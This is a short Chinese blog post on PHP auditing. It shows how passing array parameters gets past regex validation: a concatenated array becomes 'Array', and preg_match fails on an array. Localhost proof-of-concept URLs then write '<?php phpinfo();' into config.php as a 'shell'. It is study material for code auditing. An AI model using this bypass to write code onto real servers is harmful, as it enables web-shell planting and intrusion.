前记
什么都不写就凉了,于是又开始努力学习新知识了~~
一个审计的小trick
1 |
|
主要问题还是在于1
2
3
4
5function is_valid($title, $data)
{
$data = $title . $data;
return preg_match('|\A[ _a-zA-Z0-9]+\z|is', $data);
}
验证函数的弱类型问题
如果正常传入参数,显然是没有问题的
但如果我们传入数组的话:
payload:1
http://localhost/web/trick1/index.php?title=sky&content[]=<?php%20phpinfo();
可以清楚看见1
2
3
4H:\wamp64\www\web\trick1\index.php:5:string 'skyArray' (length=8)
H:\wamp64\www\web\trick1\index.php:16:
array (size=1)
0 => string '<?php phpinfo();,123' (length=20)
此时的数组,传入验证函数里的时候,会变成Array,这样就可以完美的绕过检测了
再看一题:1
2
3
4
5
6<?php
$text = $_GET['text'];
if(preg_match('[<>?]', $text)) {
die('error!');
}
file_put_contents('config.php', $text);
此时我们传入payload:1
http://localhost/web/trick1/index.php?text=%3C?php%20phpinfo();
会回显:1
error!
明显我们的shell被waf拦下了,但如果利用这个弱比较的trick:1
http://localhost/web/trick1/index.php?text[]=%3C?php%20phpinfo();
则可以成功写入shell
后记
菜鸡太菜……今天才知道这个技巧,大佬们求轻虐